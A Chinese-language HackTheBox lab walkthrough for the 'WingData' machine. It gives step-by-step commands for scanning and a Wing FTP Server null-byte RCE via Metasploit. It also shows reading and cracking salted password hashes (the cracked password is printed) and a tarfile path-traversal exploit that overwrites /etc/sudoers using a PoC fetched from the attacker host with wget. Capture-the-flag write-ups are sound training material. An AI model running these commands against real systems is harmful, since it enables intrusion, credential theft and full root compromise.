当前位置: 首页 > news >正文

WingData HTB 渗透测试完整攻略

本攻略详细记录了从信息收集到获取 root 权限的全过程,每个步骤均相互关联,环环相扣。攻击路径基于真实环境,利用了两个关键 CVE 漏洞:CVE-2025-47812(Wing FTP Server 无认证 RCE)和CVE-2025-4517(备份脚本 tarfile 路径遍历提权)。

一、环境准备

在开始之前,确保已添加目标主机名与 IP 的映射,后续所有命令均在 Kali Linux 上执行,目标 IP 为10.129.4.8

echo "10.129.4.8 wingdata.htb ftp.wingdata.htb" >> /etc/hosts

其中wingdata.htb是主 Web 域名,ftp.wingdata.htb是后续发现的虚拟主机。

二、信息收集

2.1 端口扫描

使用 Nmap 快速扫描全端口,识别开放的服务。

nmap -p-65535 -T4 --min-rate=1000 -sS -Pn 10.129.4.8

结果:

PORT STATE SERVICE 22/tcp open ssh 80/tcp open http

解读:目标仅开放 22(SSH)和 80(HTTP),过滤了大量端口,表明防火墙可能较为严格。

2.2 Web 服务指纹识别

访问主站点并获取响应头,识别技术栈。

curl -I http://wingdata.htb whatweb http://wingdata.htb -a 3

关键信息:

  • 服务器:Apache/2.4.66 (Debian)
  • jQuery 3.3.1、Bootstrap
  • 静态页面,无交互功能

初步判断主站点为纯静态网站,攻击面有限。

2.3 虚拟主机扫描

使用 gobuster 对主域名进行虚拟主机枚举,寻找其他 Web 应用。

gobuster vhost -u http://wingdata.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 20 -o vhost.txt

扫描发现一个重要的虚拟主机:ftp.wingdata.htb,其响应头中 Server 字段为Wing FTP Server(Free Edition)。这是完全不同的 Web 应用,攻击面大幅增加。

2.4 Wing FTP Server 信息收集

访问http://ftp.wingdata.htb,并提取版本信息。

curl -s http://ftp.wingdata.htb/ -o wingftp_index.html grep -i 'version\|wing\|build\|release' wingftp_index.html

从页面中获取到版本号:Wing FTP Server v7.4.3

同时注意到管理端口 5466 和内部 Web 客户端 8080 也在响应中有所体现,但我们优先利用已知漏洞。

三、漏洞利用:Wing FTP Server RCE (CVE-2025-47812)

Wing FTP Server v7.4.3 存在一个严重的空字节注入漏洞(CVE-2025-47812),攻击者可通过匿名账户绕过认证并注入 Lua 代码,最终获取以wingftp用户运行的 shell。

3.1 漏洞确认

首先测试匿名登录是否启用:

curl -v -X POST http://ftp.wingdata.htb/loginok.html \ -d "username=anonymous&password="

若响应中包含Set-Cookie: UID=,则说明匿名访问开启,漏洞存在。

3.2 Metasploit 利用

最可靠的方式是使用 Metasploit 官方模块。

msfconsole -q use exploit/multi/http/wingftp_null_byte_rce set RHOSTS ftp.wingdata.htb set RPORT 80 set LHOST <你的_Kali_IP> set LPORT 5555 check run

模块自动完成:

  • 发送空字节注入载荷获取 Session Cookie
  • 通过触发 Session 文件执行 Lua 系统命令
  • 返回一个 Meterpreter shell

成功后的 shell 权限为wingftp,并非 root,需要提权。

3.3 进入系统 shell 并初步枚举

shell id # 输出: uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),... hostname # wingdata

接下来全面收集系统信息,为提权做准备。

四、信息收集:获取 wacky 用户凭证

4.1 枚举 Wing FTP Server 配置与用户文件

进入 Wing FTP Server 数据目录,读取配置和用户数据。

cd /opt/wftpserver/Data cat settings.xml

settings.xml中提取到关键信息:

  • 管理员密码哈希:2D35A8D420A697203D7C554A678F8119(MD5)
  • 启用密码加盐:<EnablePasswordSalting>1</EnablePasswordSalting>
  • 盐值:<SaltingString>WingFTP</SaltingString>

继续查看管理员账户文件:

cat /opt/wftpserver/Data/_ADMINISTRATOR/admins.xml

获得管理员 admin 的 SHA-256 哈希(加盐)。

最重要的一步:列出所有 FTP 用户配置文件。

ls /opt/wftpserver/Data/1/users/ cat /opt/wftpserver/Data/1/users/wacky.xml cat /opt/wftpserver/Data/1/users/maria.xml cat /opt/wftpserver/Data/1/users/steve.xml cat /opt/wftpserver/Data/1/users/john.xml

每个用户文件中都包含一个<Password>字段,均为 SHA-256 哈希,且这些哈希均使用盐值WingFTP进行加盐(格式sha256($pass.$salt))。

4.2 密码破解

提取 wacky 用户的哈希(从 wacky.xml 中):

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

在 Kali 上使用 hashcat 模式 1410 进行破解。

echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > hash.txt hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt --force -O

很快破解出密码:!#7Blushing^*Bride5

注意:若 rockyou 未命中,可尝试使用规则集(如 best64.rule)或更大的字典。由于盐已知,破解效率很高。

4.3 横向移动:SSH 登录 wacky

使用破解出的密码通过 SSH 登录系统用户 wacky。

ssh wacky@10.129.4.8 # 输入密码: !#7Blushing^*Bride5

登录后立即获取 user flag:

cat ~/user.txt # 48a3f6f6ea8d0261226a27c06e190597

五、权限提升:CVE-2025-4517 – tarfile 路径遍历提权

5.1 sudo 权限枚举

sudo -l

输出显示:

User wacky may run the following commands on wingdata: (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

这意味着 wacky 可以以 root 身份无密码执行该备份脚本,且允许附加任意参数。

5.2 脚本审计与漏洞分析

阅读脚本内容:

cat /opt/backup_clients/restore_backup_clients.py

核心代码段:

with tarfile.open(backup_path, "r") as tar: tar.extractall(path=staging_dir, filter="data")

漏洞点:

  • 脚本以 root 身份运行。
  • filter="data"在 Python 3.12 中不会对路径进行任何安全检查,它完全信任 tar 包内的文件名。
  • 备份文件需放置在/opt/backup_clients/backups/目录下,而该目录权限为drwxrwx---,wacky 用户拥有写权限!

因此,我们可以创建一个恶意的 tar 包,内部包含指向/etc/sudoers的绝对路径文件或路径遍历条目,解压时即可覆盖系统 sudoers 文件,为 wacky 添加 NOPASSWD: ALL 规则。

5.3 漏洞利用(使用公开 PoC)

GitHub 上已有针对此场景的 PoC(CVE-2025-4517),直接使用可避免手动构造 tar 包。

Kali 攻击机:

git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git cd CVE-2025-4517-POC-HTB-WingData python3 -m http.server 80

目标机(wacky 会话):

cd /tmp wget http://<Kali_IP>/CVE-2025-4517-POC.py python3 /tmp/CVE-2025-4517-POC.py

PoC 脚本自动完成:

  1. 生成合法的备份文件名(如backup_1234.tar)。
  2. 在 tar 包内放入恶意 sudoers 文件,条目名称为/etc/sudoers../../etc/sudoers(利用路径遍历)。
  3. 将 tar 包复制到/opt/backup_clients/backups/
  4. 调用 sudo 执行备份脚本,以 root 权限解压该 tar 包,从而覆盖/etc/sudoers

5.4 获取 root 权限

漏洞利用成功后,/etc/sudoers已被修改,wacky 获得无限制 sudo 权限。

sudo /bin/bash id # uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt

Root flag 到手,渗透完成。

六、攻击链总结

  1. 信息收集:端口扫描 → 虚拟主机发现 → Wing FTP Server 版本识别。
  2. 初始立足点:利用 Wing FTP 匿名空字节注入 (CVE-2025-47812) 获得 wingftp 用户 shell。
  3. 凭证窃取:读取用户配置文件,获取 wacky 加盐哈希并破解密码。
  4. 横向移动:SSH 以 wacky 登录,获得 user flag。
  5. 权限提升:利用 sudo 脚本中 tarfile 的路径遍历漏洞 (CVE-2025-4517) 覆写 sudoers,获取 root。

本攻略展示了从外网 Web 应用漏洞到系统权限的完整攻击路径,每一步都基于前一步的信息和权限,环环相扣。关键在于:充分的信息收集精准的漏洞匹配以及对文件操作逻辑的深入审计

http://www.cnnetsun.cn/news/2626918.html

相关文章:

  • 别再自己写扫码了!用uniapp插件Ba-Scanner,5分钟搞定连续扫码和自定义UI
  • 笔记本刚开机就高温?CPU 90℃、风扇狂转、网速消耗殆尽——威胁检测工程师实战排查全过程
  • PointPillars算法避坑指南:从VoxelNet到Apollo实战,聊聊那些容易踩的‘坑’
  • 权重衰减为何放入优化器
  • 什么是OPC(一人公司)?
  • 代码即玩法:非典型游戏开发的英文提示词实践
  • 从 MCP 到 A2A:Agent 项目里“通信协议”到底在解决什么问题?
  • 别再手动排路线了!用Python+遗传算法搞定物流配送VRP(附完整代码)
  • 番茄小说下载器完整指南:打造个人离线数字图书馆的终极方案
  • 2026权威实测:16款降AIGC软件横评,论文安全过关就靠它!
  • 如何用Ai2Psd脚本实现Illustrator到Photoshop的无损图层转换?3步极速指南
  • 真机实测:Hermes Agent Windows 全流程安装与配置指南
  • 多活不是口号,是算力——DeepSeek高可用架构落地三原则,含真实RTT压测数据与Failover耗时对比表
  • RPGMakerDecrypter完全指南:3步解密RPG Maker加密存档的专业方法
  • LAMMPS模拟石墨烯拉伸:除了velocity,试试这个更省事的deform命令(附完整in文件)
  • 告别公式恐惧!用Python一步步拆解LTE PUCCH功率控制(附代码与实战日志分析)
  • Nintendo Switch文件管理难题?NX-Shell为你提供终极解决方案
  • 论企业网络设计
  • 如何用5个步骤快速掌握哔哩下载姬DownKyi:B站视频下载终极方案
  • 嵌入式Linux内存稳定性测试:手把手教你用memtester排查硬件‘暗病’(附RK3399实测)
  • 构建智能知识图谱维基:从NLP到图数据库的工程实践
  • DDrawCompat完整指南:5分钟让经典Windows游戏在现代系统重生
  • Mac窗口管理新思路:除了Magnet分屏,试试AfloatX的“悬浮”与“沉底”魔法
  • Taotoken 助力游戏服务器实现智能 NPC 对话与剧情生成
  • 新手入门如何在Taotoken模型广场选择适合自己的大模型
  • 别再只盯着RTC了!STM32L4低功耗唤醒,试试LPTIM定时器这个宝藏外设
  • 除了阿里云,还有哪些靠谱的身份证实名认证方案?SpringBoot开发者选型指南
  • 从ArrayDeque和LinkedList源码看Java栈与队列的选择:一个数组与链表的实战抉择
  • 基于ESP32-S3与触摸屏的3D打印计算器:软硬件全流程开发实践
  • Flowable ServiceTask实战:Spring Boot集成下三种调用方式的保姆级对比与选择